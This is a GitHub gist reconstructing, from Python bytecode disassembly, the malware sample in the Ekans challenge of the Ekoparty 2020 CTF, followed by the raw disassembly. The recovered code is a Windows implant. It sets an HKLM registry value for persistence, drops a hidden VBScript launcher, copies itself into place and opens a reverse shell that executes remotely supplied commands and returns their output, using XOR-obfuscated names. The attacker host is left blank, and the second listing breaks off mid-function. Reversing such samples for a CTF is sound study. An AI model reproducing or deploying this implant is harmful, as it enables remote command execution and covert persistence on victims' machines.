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maurom/ekans-explained.py

Last active Sep 29, 2020
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ekans-explained.py is a hand-made recovery of the Ekans challenge of Ekoparty Main-CTF 2020
#!/usr/bin/env python3
#
# ekans-explained.py
#
# ekans-explained.py is a hand-made recovery of the Ekans challenge of Ekoparty Main-CTF 2020
import base64 # added due to its usage on line
import inspect # added due to its usage on line
import os # added due to its usage on line
import socket # added due to its usage on line
import subprocess # added due to its usage on line
# added to provide such functions and constants
#from winreg import EnumValue, OpenKey, SetValueEx, HKEY_LOCAL_MACHINE, KEY_ALL_ACCESS, REG_SZ
# the following constants are used later on this script, but we don't know their values
KEY_NAME = ''
KEY_PATH = ''
REV_SHELL = ''
SHELL_PORT = ''
TRIGGER_PATH = ''
MALWARE_NAME = ''
MALWARE_PATH = ''
# Disassembly of EdOxwEACgFH:
class EdOxwEACgFH:
# Disassembly of AC8AAxkqHjQGPxcvCzwdKGQ8:
def AC8AAxkqHjQGPxcvCzwdKGQ8(self):
# 27 0 LOAD_FAST 0 (self)
# 2 LOAD_ATTR 0 (__class__)
# 4 LOAD_ATTR 1 (__name__)
# 6 LOAD_METHOD 2 (encode)
# 8 CALL_METHOD 0
# 10 STORE_FAST 1 (mask)
mask = self.__class__.__name__.encode()
# 28 12 LOAD_GLOBAL 3 (len)
# 14 LOAD_FAST 1 (mask)
# 16 CALL_FUNCTION 1
# 18 STORE_FAST 2 (lmask)
lmask = len(mask)
# 29 20 LOAD_FAST 0 (self)
# 22 LOAD_METHOD 4 (NRYgDBImHhwT)
# 24 LOAD_GLOBAL 5 (base64)
# 26 LOAD_METHOD 6 (b64decode)
# 28 LOAD_GLOBAL 7 (inspect)
# 30 LOAD_METHOD 8 (currentframe)
# 32 CALL_METHOD 0
# 34 LOAD_ATTR 9 (f_code)
# 36 LOAD_ATTR 10 (co_name)
# 38 CALL_METHOD 1
# 40 CALL_METHOD 1
# 42 POP_TOP
self.NRYgDBImHhwT(base64.b64decode(inspect.currentframe().f_code.co_name))
# 30 44 LOAD_GLOBAL 11 (OpenKey)
# 46 LOAD_GLOBAL 12 (HKEY_LOCAL_MACHINE)
# 48 LOAD_GLOBAL 13 (KEY_PATH)
# 50 CALL_FUNCTION 2
# 52 STORE_FAST 3 (key)
key = OpenKey(HKEY_LOCAL_MACHINE, KEY_PATH)
# 31 54 BUILD_LIST 0
# 56 STORE_FAST 4 (keys)
keys = []
# 32 58 SETUP_FINALLY 42 (to 102)
try:
# 33 60 LOAD_CONST 1 (0)
# 62 STORE_FAST 5 (i)
i = 0
while True:
# 35 >> 64 LOAD_GLOBAL 14 (EnumValue)
# 66 LOAD_FAST 3 (key)
# 68 LOAD_FAST 5 (i)
# 70 CALL_FUNCTION 2
# 72 STORE_FAST 6 (cur_key)
cur_key = EnumValue(key, i)
# 36 74 LOAD_FAST 4 (keys)
# 76 LOAD_METHOD 15 (append)
# 78 LOAD_FAST 6 (cur_key)
# 80 LOAD_CONST 1 (0)
# 82 BINARY_SUBSCR
# 84 CALL_METHOD 1
# 86 POP_TOP
keys.append(cur_key[0])
# 37 88 LOAD_FAST 5 (i)
# 90 LOAD_CONST 2 (1)
# 92 INPLACE_ADD
# 94 STORE_FAST 5 (i)
i += 1
# 96 JUMP_ABSOLUTE 64
# 98 POP_BLOCK
# 100 JUMP_FORWARD 12 (to 114)
except:
pass # goto bytecode 114
#
# 38 >> 102 POP_TOP
# 104 POP_TOP
# 106 POP_TOP
#
# 39 108 POP_EXCEPT
# 110 JUMP_FORWARD 2 (to 114)
# 112 END_FINALLY
# 40 >> 114 LOAD_GLOBAL 16 (KEY_NAME)
# 116 LOAD_FAST 4 (keys)
# 118 COMPARE_OP 7 (not in)
# 120 POP_JUMP_IF_FALSE 164
if KEY_NAME not in keys:
# 41 122 LOAD_GLOBAL 11 (OpenKey)
# 124 LOAD_GLOBAL 12 (HKEY_LOCAL_MACHINE)
# 126 LOAD_GLOBAL 13 (KEY_PATH)
# 128 LOAD_CONST 1 (0)
# 130 LOAD_GLOBAL 17 (KEY_ALL_ACCESS)
# 132 CALL_FUNCTION 4
# 134 STORE_FAST 7 (mlwr_key)
mlwr_key = OpenKey(HKEY_LOCAL_MACHINE, KEY_PATH, 0, KEY_ALL_ACCESS)
# 42 136 LOAD_GLOBAL 18 (SetValueEx)
# 138 LOAD_FAST 7 (mlwr_key)
# 140 LOAD_GLOBAL 16 (KEY_NAME)
# 142 LOAD_CONST 1 (0)
# 144 LOAD_GLOBAL 19 (REG_SZ)
# 146 LOAD_GLOBAL 20 (TRIGGER_PATH)
# 148 CALL_FUNCTION 5
# 150 POP_TOP
SetValueEx(mlwr_key, KEY_NAME, 0, REG_SZ, TRIGGER_PATH)
# 43 152 LOAD_FAST 7 (mlwr_key)
# 154 LOAD_METHOD 21 (Close)
# 156 CALL_METHOD 0
# 158 POP_TOP
mlwr_key.close()
# 44 160 LOAD_CONST 3 (False)
# 162 RETURN_VALUE
return False
# 45 >> 164 LOAD_CONST 4 (True)
# 166 RETURN_VALUE
return True
# Disassembly of AwE5HQU2JDAPIyQp:
def AwE5HQU2JDAPIyQp(self):
# 65 0 LOAD_FAST 0 (self)
# 2 LOAD_ATTR 0 (__class__)
# 4 LOAD_ATTR 1 (__name__)
# 6 LOAD_METHOD 2 (encode)
# 8 CALL_METHOD 0
# 10 STORE_FAST 1 (mask)
mask = self.__class__.__name__.encode() # 65
# 66 12 LOAD_FAST 0 (self)
# 14 LOAD_METHOD 3 (NRYgDBImHhwT)
# 16 LOAD_GLOBAL 4 (base64)
# 18 LOAD_METHOD 5 (b64decode)
# 20 LOAD_GLOBAL 6 (inspect)
# 22 LOAD_METHOD 7 (currentframe)
# 24 CALL_METHOD 0
# 26 LOAD_ATTR 8 (f_code)
# 28 LOAD_ATTR 9 (co_name)
# 30 CALL_METHOD 1
# 32 CALL_METHOD 1
# 34 POP_TOP
self.NRYgDBImHhwT(base64.b64decode(inspect.currentframe().f_code.co_name))
# 67 36 LOAD_GLOBAL 10 (socket)
# 38 LOAD_METHOD 10 (socket)
# 40 LOAD_GLOBAL 10 (socket)
# 42 LOAD_ATTR 11 (AF_INET)
# 44 LOAD_GLOBAL 10 (socket)
# 46 LOAD_ATTR 12 (SOCK_STREAM)
# 48 CALL_METHOD 2
# 50 STORE_FAST 2 (s)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 68 52 LOAD_FAST 2 (s)
# 54 LOAD_METHOD 13 (connect)
# 56 LOAD_GLOBAL 14 (REV_SHELL)
# 58 LOAD_GLOBAL 15 (SHELL_PORT)
# 60 BUILD_TUPLE 2
# 62 CALL_METHOD 1
# 64 POP_TOP
s.connect((REV_SHELL, SHELL_PORT)) #
# 69 66 LOAD_CONST 1 (b'JgsiFRYrJWNHfGhl')
# 68 STORE_FAST 3 (flag)
flag = b'JgsiFRYrJWNHfGhl'
# 70 70 LOAD_FAST 2 (s)
# 72 LOAD_METHOD 16 (send)
# 74 LOAD_CONST 2 ('\n\\!/ anarc0der mlwr tutorial\n\n[*] If you need to finish, just type: quit\n[*] PRESS ENTER TO PROMPT\n\n')
# 76 CALL_METHOD 1
# 78 POP_TOP
s.send('\n\\!/ anarc0der mlwr tutorial\n\n[*] If you need to finish, just type: quit\n[*] PRESS ENTER TO PROMPT\n\n')
while True:
# 72 >> 80 LOAD_FAST 2 (s)
# 82 LOAD_METHOD 17 (recv)
# 84 LOAD_CONST 3 (1024)
# 86 CALL_METHOD 1
# 88 STORE_FAST 4 (data)
data = s.recv(1024)
# 73 90 LOAD_CONST 4 ('quit')
# 92 LOAD_FAST 4 (data)
# 94 COMPARE_OP 6 (in)
# 96 POP_JUMP_IF_FALSE 100
if 'quit' in data:
# 74 98 JUMP_ABSOLUTE 180
break
# 75 >> 100 LOAD_GLOBAL 18 (subprocess)
# 102 LOAD_ATTR 19 (Popen)
# 104 LOAD_FAST 4 (data)
# 106 LOAD_CONST 5 (True)
# 108 LOAD_GLOBAL 18 (subprocess)
# 110 LOAD_ATTR 20 (PIPE)
# 112 LOAD_GLOBAL 18 (subprocess)
# 114 LOAD_ATTR 20 (PIPE)
# 116 LOAD_GLOBAL 18 (subprocess)
# 118 LOAD_ATTR 20 (PIPE)
# 120 LOAD_CONST 6 (('shell', 'stdout', 'stderr', 'stdin'))
# 122 CALL_FUNCTION_KW 5
# 124 STORE_FAST 5 (cmd)
cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # bytecode 100 (o al reves?)
# 76 126 LOAD_FAST 5 (cmd)
# 128 LOAD_ATTR 21 (stdout)
# 130 LOAD_METHOD 22 (read)
# 132 CALL_METHOD 0
# 134 LOAD_FAST 5 (cmd)
# 136 LOAD_ATTR 23 (stderr)
# 138 LOAD_METHOD 22 (read)
# 140 CALL_METHOD 0
# 142 BINARY_ADD
# 144 STORE_FAST 6 (saida_cmd)
saida_cmd = cmd.stdout.read() + cmd.stderr.read()
# 77 146 LOAD_FAST 2 (s)
# 148 LOAD_METHOD 16 (send)
# 150 LOAD_FAST 6 (saida_cmd)
# 152 CALL_METHOD 1
# 154 POP_TOP
s.send(saida_cmd)
# 78 156 LOAD_FAST 2 (s)
# 158 LOAD_METHOD 16 (send)
# 160 LOAD_FAST 0 (self)
# 162 LOAD_METHOD 3 (NRYgDBImHhwT)
# 164 LOAD_GLOBAL 4 (base64)
# 166 LOAD_METHOD 5 (b64decode)
# 168 LOAD_FAST 3 (flag)
# 170 CALL_METHOD 1
# 172 CALL_METHOD 1
# 174 CALL_METHOD 1
# 176 POP_TOP
s.send(self.NRYgDBImHhwT(base64.b64decode(flag)))
# 178 JUMP_ABSOLUTE 80
# 79 >> 180 LOAD_FAST 2 (s)
# 182 LOAD_METHOD 24 (close)
# 184 CALL_METHOD 0
# 186 POP_TOP
# 188 LOAD_CONST 7 (None)
# 190 RETURN_VALUE
s.close()
# Disassembly of LQ0rHSgoIC8QJzog:
def LQ0rHSgoIC8QJzog(self):
# 51 0 LOAD_FAST 0 (self)
# 2 LOAD_ATTR 0 (__class__)
# 4 LOAD_ATTR 1 (__name__)
# 6 LOAD_METHOD 2 (encode)
# 8 CALL_METHOD 0
# 10 STORE_FAST 1 (mask)
mask = self.__class__.__name__.encode()
# 52 12 LOAD_GLOBAL 3 (len)
# 14 LOAD_FAST 1 (mask)
# 16 CALL_FUNCTION 1
# 18 STORE_FAST 2 (lmask)
lmask = len(mask)
# 53 20 LOAD_FAST 0 (self)
# 22 LOAD_METHOD 4 (NRYgDBImHhwT)
# 24 LOAD_GLOBAL 5 (base64)
# 26 LOAD_METHOD 6 (b64decode)
# 28 LOAD_GLOBAL 7 (inspect)
# 30 LOAD_METHOD 8 (currentframe)
# 32 CALL_METHOD 0
# 34 LOAD_ATTR 9 (f_code)
# 36 LOAD_ATTR 10 (co_name)
# 38 CALL_METHOD 1
# 40 CALL_METHOD 1
# 42 POP_TOP
self.NRYgDBImHhwT(base64.b64decode(inspect.currentframe().f_code.co_name))
# 54 44 LOAD_GLOBAL 11 (os)
# 46 LOAD_ATTR 12 (path)
# 48 LOAD_METHOD 13 (exists)
# 50 LOAD_GLOBAL 14 (MALWARE_PATH)
# 52 CALL_METHOD 1
# 54 POP_JUMP_IF_FALSE 72
# 56 LOAD_GLOBAL 11 (os)
# 58 LOAD_ATTR 12 (path)
# 60 LOAD_METHOD 13 (exists)
# 62 LOAD_GLOBAL 15 (TRIGGER_PATH)
# 64 CALL_METHOD 1
# 66 POP_JUMP_IF_FALSE 72
if os.path.exists(MALWARE_PATH) and os.path.exists(TRIGGER_PATH):
# 55 68 LOAD_CONST 1 (True)
# 70 RETURN_VALUE
return True
else:
# 57 >> 72 LOAD_CONST 2 ('Set WshShell = WScript.CreateObject("WScript.Shell")\nWshShell.Run """{0}""", 0 , false')
# 74 LOAD_METHOD 16 (format)
# 76 LOAD_GLOBAL 14 (MALWARE_PATH)
# 78 CALL_METHOD 1
# 80 STORE_FAST 3 (payload)
payload = 'Set WshShell = WScript.CreateObject("WScript.Shell")\nWshShell.Run """{0}""", 0 , false'.format(MALWARE_PATH)
# 58 82 LOAD_GLOBAL 17 (open)
# 84 LOAD_GLOBAL 15 (TRIGGER_PATH)
# 86 LOAD_CONST 3 ('w')
# 88 CALL_FUNCTION 2
# 90 SETUP_WITH 16 (to 108)
# 92 STORE_FAST 4 (f)
with open(TRIGGER_PATH, 'w') as f:
# 59 94 LOAD_FAST 4 (f)
# 96 LOAD_METHOD 18 (write)
# 98 LOAD_FAST 3 (payload)
# 100 CALL_METHOD 1
f.write(payload)
# 102 POP_TOP
# 104 POP_BLOCK
# 106 BEGIN_FINALLY
# >> 108 WITH_CLEANUP_START
# 110 WITH_CLEANUP_FINISH
# 112 END_FINALLY
# 60 114 LOAD_GLOBAL 11 (os)
# 116 LOAD_METHOD 19 (system)
# 118 LOAD_CONST 4 ('copy %s %s')
# 120 LOAD_GLOBAL 20 (MALWARE_NAME)
# 122 LOAD_GLOBAL 14 (MALWARE_PATH)
# 124 BUILD_TUPLE 2
# 126 BINARY_MODULO
# 128 CALL_METHOD 1
# 130 POP_TOP
os.system('copy %s %s' % (MALWARE_NAME, MALWARE_PATH))
# 61 132 LOAD_CONST 5 (False)
# 134 RETURN_VALUE
return False
# 136 LOAD_CONST 6 (None)
# 138 RETURN_VALUE
# Disassembly of NRYgDBImHhwT:
def NRYgDBImHhwT(self, byt):
# 22 0 LOAD_FAST 0 (self)
# 2 LOAD_ATTR 0 (__class__)
# 4 LOAD_ATTR 1 (__name__)
# 6 LOAD_METHOD 2 (encode)
# 8 CALL_METHOD 0
# 10 STORE_DEREF 1 (mask)
mask = self.__class__.__name__.encode()
# 23 12 LOAD_GLOBAL 3 (len)
# 14 LOAD_DEREF 1 (mask)
# 16 CALL_FUNCTION 1
# 18 STORE_DEREF 0 (lmask)
lmask = len(mask)
# 24 20 LOAD_GLOBAL 4 (bytes)
# 22 LOAD_CLOSURE 0 (lmask)
# 24 LOAD_CLOSURE 1 (mask)
# 26 BUILD_TUPLE 2
# 28 LOAD_CONST 1 (<code object <genexpr> at 0x7f0a5361b190, file "/tmp/mw.py", line 24>)
# 30 LOAD_CONST 2 ('EdOxwEACgFH.NRYgDBImHhwT.<locals>.<genexpr>')
# 32 MAKE_FUNCTION 8 (closure)
# 34 LOAD_GLOBAL 5 (enumerate)
# 36 LOAD_FAST 1 (byt)
# 38 CALL_FUNCTION 1
# 40 GET_ITER
# 42 CALL_FUNCTION 1
# 44 CALL_FUNCTION 1
# 46 RETURN_VALUE
#
#Disassembly of <code object <genexpr> at 0x7f0a5361b190, file "/tmp/mw.py", line 24>:
# 24 0 LOAD_FAST 0 (.0)
# >> 2 FOR_ITER 26 (to 30)
# 4 UNPACK_SEQUENCE 2
# 6 STORE_FAST 1 (i)
# 8 STORE_FAST 2 (c)
# 10 LOAD_FAST 2 (c)
# 12 LOAD_DEREF 1 (mask)
# 14 LOAD_FAST 1 (i)
# 16 LOAD_DEREF 0 (lmask)
# 18 BINARY_MODULO
# 20 BINARY_SUBSCR
# 22 BINARY_XOR
# 24 YIELD_VALUE
# 26 POP_TOP
# 28 JUMP_ABSOLUTE 2
# >> 30 LOAD_CONST 0 (None)
# 32 RETURN_VALUE
#
return bytes(c ^ mask[i % lmask] for i, c in enumerate(byt))
# Disassembly of main:
def main():
# 82 0 BUILD_LIST 0
# 2 STORE_FAST 0 (my_returns)
my_returns = []
# 83 4 LOAD_GLOBAL 0 (EdOxwEACgFH)
# 6 CALL_FUNCTION 0
# 8 STORE_FAST 1 (x)
x = EdOxwEACgFH()
# 84 10 LOAD_FAST 0 (my_returns)
# 12 LOAD_METHOD 1 (append)
# 14 LOAD_FAST 1 (x)
# 16 LOAD_METHOD 2 (AC8AAxkqHjQGPxcvCzwdKGQ8)
# 18 CALL_METHOD 0
# 20 CALL_METHOD 1
# 22 POP_TOP
my_returns.append(x.AC8AAxkqHjQGPxcvCzwdKGQ8())
# 85 24 LOAD_FAST 0 (my_returns)
# 26 LOAD_METHOD 1 (append)
# 28 LOAD_FAST 1 (x)
# 30 LOAD_METHOD 3 (LQ0rHSgoIC8QJzog)
# 32 CALL_METHOD 0
# 34 CALL_METHOD 1
# 36 POP_TOP
my_returns.append(x.LQ0rHSgoIC8QJzog())
# 86 38 LOAD_GLOBAL 4 (all)
# 40 LOAD_CONST 1 (<code object <genexpr> at 0x7f0a5361b660, file "/tmp/mw.py", line 86>)
# 42 LOAD_CONST 2 ('main.<locals>.<genexpr>')
# 44 MAKE_FUNCTION 0
# 46 LOAD_FAST 0 (my_returns)
# 48 GET_ITER
# 50 CALL_FUNCTION 1
# 52 CALL_FUNCTION 1
# 54 POP_JUMP_IF_FALSE 64
#
#Disassembly of <code object <genexpr> at 0x7f0a5361b660, file "/tmp/mw.py", line 86>:
# 86 0 LOAD_FAST 0 (.0)
# >> 2 FOR_ITER 14 (to 18)
# 4 STORE_FAST 1 (res)
# 6 LOAD_FAST 1 (res)
# 8 LOAD_CONST 0 (True)
# 10 COMPARE_OP 8 (is)
# 12 YIELD_VALUE
# 14 POP_TOP
# 16 JUMP_ABSOLUTE 2
# >> 18 LOAD_CONST 1 (None)
# 20 RETURN_VALUE
if all(res is True for res in my_returns):
# 87 56 LOAD_FAST 1 (x)
# 58 LOAD_METHOD 5 (AwE5HQU2JDAPIyQp)
# 60 CALL_METHOD 0
# 62 POP_TOP
x.AwE5HQU2JDAPIyQp()
# >> 64 LOAD_CONST 0 (None)
# 66 RETURN_VALUE
Disassembly of EdOxwEACgFH:
Disassembly of AC8AAxkqHjQGPxcvCzwdKGQ8:
27 0 LOAD_FAST 0 (self)
2 LOAD_ATTR 0 (__class__)
4 LOAD_ATTR 1 (__name__)
6 LOAD_METHOD 2 (encode)
8 CALL_METHOD 0
10 STORE_FAST 1 (mask)
28 12 LOAD_GLOBAL 3 (len)
14 LOAD_FAST 1 (mask)
16 CALL_FUNCTION 1
18 STORE_FAST 2 (lmask)
29 20 LOAD_FAST 0 (self)
22 LOAD_METHOD 4 (NRYgDBImHhwT)
24 LOAD_GLOBAL 5 (base64)
26 LOAD_METHOD 6 (b64decode)
28 LOAD_GLOBAL 7 (inspect)
30 LOAD_METHOD 8 (currentframe)
32 CALL_METHOD 0
34 LOAD_ATTR 9 (f_code)
36 LOAD_ATTR 10 (co_name)
38 CALL_METHOD 1
40 CALL_METHOD 1
42 POP_TOP
30 44 LOAD_GLOBAL 11 (OpenKey)
46 LOAD_GLOBAL 12 (HKEY_LOCAL_MACHINE)
48 LOAD_GLOBAL 13 (KEY_PATH)
50 CALL_FUNCTION 2
52 STORE_FAST 3 (key)
31 54 BUILD_LIST 0
56 STORE_FAST 4 (keys)
32 58 SETUP_FINALLY 42 (to 102)
33 60 LOAD_CONST 1 (0)
62 STORE_FAST 5 (i)
35 >> 64 LOAD_GLOBAL 14 (EnumValue)
66 LOAD_FAST 3 (key)
68 LOAD_FAST 5 (i)
70 CALL_FUNCTION 2
72 STORE_FAST 6 (cur_key)
36 74 LOAD_FAST 4 (keys)
76 LOAD_METHOD 15 (append)
78 LOAD_FAST 6 (cur_key)
80 LOAD_CONST 1 (0)
82 BINARY_SUBSCR
84 CALL_METHOD 1
86 POP_TOP
37 88 LOAD_FAST 5 (i)
90 LOAD_CONST 2 (1)
92 INPLACE_ADD
94 STORE_FAST 5 (i)
96 JUMP_ABSOLUTE 64
98 POP_BLOCK
100 JUMP_FORWARD 12 (to 114)
38 >> 102 POP_TOP
104 POP_TOP
106 POP_TOP
39 108 POP_EXCEPT
110 JUMP_FORWARD 2 (to 114)
112 END_FINALLY
40 >> 114 LOAD_GLOBAL 16 (KEY_NAME)
116 LOAD_FAST 4 (keys)
118 COMPARE_OP 7 (not in)
120 POP_JUMP_IF_FALSE 164
41 122 LOAD_GLOBAL 11 (OpenKey)
124 LOAD_GLOBAL 12 (HKEY_LOCAL_MACHINE)
126 LOAD_GLOBAL 13 (KEY_PATH)
128 LOAD_CONST 1 (0)
130 LOAD_GLOBAL 17 (KEY_ALL_ACCESS)
132 CALL_FUNCTION 4
134 STORE_FAST 7 (mlwr_key)
42 136 LOAD_GLOBAL 18 (SetValueEx)
138 LOAD_FAST 7 (mlwr_key)
140 LOAD_GLOBAL 16 (KEY_NAME)
142 LOAD_CONST 1 (0)
144 LOAD_GLOBAL 19 (REG_SZ)
146 LOAD_GLOBAL 20 (TRIGGER_PATH)
148 CALL_FUNCTION 5
150 POP_TOP
43 152 LOAD_FAST 7 (mlwr_key)
154 LOAD_METHOD 21 (Close)
156 CALL_METHOD 0
158 POP_TOP
44 160 LOAD_CONST 3 (False)
162 RETURN_VALUE
45 >> 164 LOAD_CONST 4 (True)
166 RETURN_VALUE
Disassembly of AwE5HQU2JDAPIyQp:
65 0 LOAD_FAST 0 (self)
2 LOAD_ATTR 0 (__class__)
4 LOAD_ATTR 1 (__name__)
6 LOAD_METHOD 2 (encode)
8 CALL_METHOD 0
10 STORE_FAST 1 (mask)
66 12 LOAD_FAST 0 (self)
14 LOAD_METHOD 3 (NRYgDBImHhwT)
16 LOAD_GLOBAL 4 (base64)
18 LOAD_METHOD 5 (b64decode)
20 LOAD_GLOBAL 6 (inspect)
22 LOAD_METHOD 7 (currentframe)
24 CALL_METHOD 0
26 LOAD_ATTR 8 (f_code)
28 LOAD_ATTR 9 (co_name)
30 CALL_METHOD 1
32 CALL_METHOD 1
34 POP_TOP
67 36 LOAD_GLOBAL 10 (socket)
38 LOAD_METHOD 10 (socket)
40 LOAD_GLOBAL 10 (socket)
42 LOAD_ATTR 11 (AF_INET)
44 LOAD_GLOBAL 10 (socket)
46 LOAD_ATTR 12 (SOCK_STREAM)
48 CALL_METHOD 2
50 STORE_FAST 2 (s)
68 52 LOAD_FAST 2 (s)
54 LOAD_METHOD 13 (connect)
56 LOAD_GLOBAL 14 (REV_SHELL)
58 LOAD_GLOBAL 15 (SHELL_PORT)
60 BUILD_TUPLE 2
62 CALL_METHOD 1
64 POP_TOP
69 66 LOAD_CONST 1 (b'JgsiFRYrJWNHfGhl')
68 STORE_FAST 3 (flag)
70 70 LOAD_FAST 2 (s)
72 LOAD_METHOD 16 (send)
74 LOAD_CONST 2 ('\n\\!/ anarc0der mlwr tutorial\n\n[*] If you need to finish, just type: quit\n[*] PRESS ENTER TO PROMPT\n\n')
76 CALL_METHOD 1
78 POP_TOP
72 >> 80 LOAD_FAST 2 (s)
82 LOAD_METHOD 17 (recv)
84 LOAD_CONST 3 (1024)
86 CALL_METHOD 1
88 STORE_FAST 4 (data)
73 90 LOAD_CONST 4 ('quit')
92 LOAD_FAST 4 (data)
94 COMPARE_OP 6 (in)
96 POP_JUMP_IF_FALSE 100
74 98 JUMP_ABSOLUTE 180
75 >> 100 LOAD_GLOBAL 18 (subprocess)
102 LOAD_ATTR 19 (Popen)
104 LOAD_FAST 4 (data)
106 LOAD_CONST 5 (True)
108 LOAD_GLOBAL 18 (subprocess)
110 LOAD_ATTR 20 (PIPE)
112 LOAD_GLOBAL 18 (subprocess)
114 LOAD_ATTR 20 (PIPE)
116 LOAD_GLOBAL 18 (subprocess)
118 LOAD_ATTR 20 (PIPE)
120 LOAD_CONST 6 (('shell', 'stdout', 'stderr', 'stdin'))
122 CALL_FUNCTION_KW 5
124 STORE_FAST 5 (cmd)
76 126 LOAD_FAST 5 (cmd)
128 LOAD_ATTR 21 (stdout)
130 LOAD_METHOD 22 (read)
132 CALL_METHOD 0
134 LOAD_FAST 5 (cmd)
136 LOAD_ATTR 23 (stderr)
138 LOAD_METHOD 22 (read)
140 CALL_METHOD 0
142 BINARY_ADD
144 STORE_FAST 6 (saida_cmd)
77 146 LOAD_FAST 2 (s)
148 LOAD_METHOD 16 (send)
150 LOAD_FAST 6 (saida_cmd)
152 CALL_METHOD 1
154 POP_TOP
78 156 LOAD_FAST 2 (s)
158 LOAD_METHOD 16 (send)
160 LOAD_FAST 0 (self)
162 LOAD_METHOD 3 (NRYgDBImHhwT)
164 LOAD_GLOBAL 4 (base64)
166 LOAD_METHOD 5 (b64decode)
168 LOAD_FAST 3 (flag)
170 CALL_METHOD 1
172 CALL_METHOD 1
174 CALL_METHOD 1
176 POP_TOP
178 JUMP_ABSOLUTE 80
79 >> 180 LOAD_FAST 2 (s)
182 LOAD_METHOD 24 (close)
184 CALL_METHOD 0
186 POP_TOP
188 LOAD_CONST 7 (None)
190 RETURN_VALUE
Disassembly of LQ0rHSgoIC8QJzog:
51 0 LOAD_FAST 0 (self)
2 LOAD_ATTR 0 (__class__)
4 LOAD_ATTR 1 (__name__)
6 LOAD_METHOD 2 (encode)
8 CALL_METHOD 0
10 STORE_FAST 1 (mask)
52 12 LOAD_GLOBAL 3 (len)
14 LOAD_FAST 1 (mask)
16 CALL_FUNCTION 1
18 STORE_FAST 2 (lmask)
53 20 LOAD_FAST 0 (self)
22 LOAD_METHOD 4 (NRYgDBImHhwT)
24 LOAD_GLOBAL 5 (base64)
26 LOAD_METHOD 6 (b64decode)
28 LOAD_GLOBAL 7 (inspect)
30 LOAD_METHOD 8 (currentframe)
32 CALL_METHOD 0
34 LOAD_ATTR 9 (f_code)
36 LOAD_ATTR 10 (co_name)
38 CALL_METHOD 1
40 CALL_METHOD 1
42 POP_TOP
54 44 LOAD_GLOBAL 11 (os)
46 LOAD_ATTR 12 (path)
48 LOAD_METHOD 13 (exists)
50 LOAD_GLOBAL 14 (MALWARE_PATH)
52 CALL_METHOD 1
54 POP_JUMP_IF_FALSE 72
56 LOAD_GLOBAL 11 (os)
58 LOAD_ATTR 12 (path)
60 LOAD_METHOD 13 (exists)
62 LOAD_GLOBAL 15 (TRIGGER_PATH)
64 CALL_METHOD 1
66 POP_JUMP_IF_FALSE 72
55 68 LOAD_CONST 1 (True)
70 RETURN_VALUE
57 >> 72 LOAD_CONST 2 ('Set WshShell = WScript.CreateObject("WScript.Shell")\nWshShell.Run """{0}""", 0 , false')
74 LOAD_METHOD 16 (format)
76 LOAD_GLOBAL 14 (MALWARE_PATH)
78 CALL_METHOD 1
80 STORE_FAST 3 (payload)
58 82 LOAD_GLOBAL 17 (open)
84 LOAD_GLOBAL 15 (TRIGGER_PATH)
86 LOAD_CONST 3 ('w')
88 CALL_FUNCTION 2
90 SETUP_WITH 16 (to 108)
92 STORE_FAST 4 (f)
59 94 LOAD_FAST 4 (f)
96 LOAD_METHOD 18 (write)
98 LOAD_FAST 3 (payload)
100 CALL_METHOD 1
102 POP_TOP
104 POP_BLOCK
106 BEGIN_FINALLY
>> 108 WITH_CLEANUP_START
110 WITH_CLEANUP_FINISH
112 END_FINALLY
60 114 LOAD_GLOBAL 11 (os)
116 LOAD_METHOD 19 (system)
118 LOAD_CONST 4 ('copy %s %s')
120 LOAD_GLOBAL 20 (MALWARE_NAME)
122 LOAD_GLOBAL 14 (MALWARE_PATH)
124 BUILD_TUPLE 2
126 BINARY_MODULO
128 CALL_METHOD 1
130 POP_TOP
61 132 LOAD_CONST 5 (False)
134 RETURN_VALUE
136 LOAD_CONST 6 (None)
138 RETURN_VALUE
Disassembly of NRYgDBImHhwT:
22 0 LOAD_FAST 0 (self)
2 LOAD_ATTR 0 (__class__)
4 LOAD_ATTR 1 (__name__)
6 LOAD_METHOD 2 (encode)
8 CALL_METHOD 0
10 STORE_DEREF 1 (mask)
23 12 LOAD_GLOBAL 3 (len)
14 LOAD_DEREF 1 (mask)
16 CALL_FUNCTION 1
18 STORE_DEREF 0 (lmask)
24 20 LOAD_GLOBAL 4 (bytes)
22 LOAD_CLOSURE 0 (lmask)
24 LOAD_CLOSURE 1 (mask)
26 BUILD_TUPLE 2
28 LOAD_CONST 1 (<code object <genexpr> at 0x7f0a5361b190, file "/tmp/mw.py", line 24>)
30 LOAD_CONST 2 ('EdOxwEACgFH.NRYgDBImHhwT.<locals>.<genexpr>')
32 MAKE_FUNCTION 8 (closure)
34 LOAD_GLOBAL 5 (enumerate)
36 LOAD_FAST 1 (byt)
38 CALL_FUNCTION 1
40 GET_ITER
42 CALL_FUNCTION 1
44 CALL_FUNCTION 1
46 RETURN_VALUE
Disassembly of <code object <genexpr> at 0x7f0a5361b190, file "/tmp/mw.py", line 24>:
24 0 LOAD_FAST 0 (.0)
>> 2 FOR_ITER 26 (to 30)
4 UNPACK_SEQUENCE 2
6 STORE_FAST 1 (i)
8 STORE_FAST 2 (c)
10 LOAD_FAST 2 (c)
12 LOAD_DEREF 1 (mask)
14 LOAD_FAST 1 (i)
16 LOAD_DEREF 0 (lmask)
18 BINARY_MODULO
20 BINARY_SUBSCR
22 BINARY_XOR
24 YIELD_VALUE
26 POP_TOP
28 JUMP_ABSOLUTE 2
>> 30 LOAD_CONST 0 (None)
32 RETURN_VALUE
Disassembly of main:
82 0 BUILD_LIST 0
2 STORE_FAST 0 (my_returns)
83 4 LOAD_GLOBAL 0 (EdOxwEACgFH)
6 CALL_FUNCTION 0
8 STORE_FAST 1 (x)
84 10 LOAD_FAST 0 (my_returns)
12 LOAD_METHOD 1 (append)
14 LOAD_FAST 1 (x)
16 LOAD_METHOD 2 (AC8AAxkqHjQGPxcvCzwdKGQ8)
18 CALL_METHOD 0
20 CALL_METHOD 1
22 POP_TOP
85 24 LOAD_FAST 0 (my_returns)
26 LOAD_METHOD 1 (append)
28 LOAD_FAST 1 (x)
30 LOAD_METHOD 3 (LQ0rHSgoIC8QJzog)
32 CALL_METHOD 0
34 CALL_METHOD 1
36 POP_TOP
86 38 LOAD_GLOBAL 4 (all)
40 LOAD_CONST 1 (<code object <genexpr> at 0x7f0a5361b660, file "/tmp/mw.py", line 86>)
42 LOAD_CONST 2 ('main.<locals>.<genexpr>')
44 MAKE_FUNCTION 0
46 LOAD_FAST 0 (my_returns)
48 GET_ITER
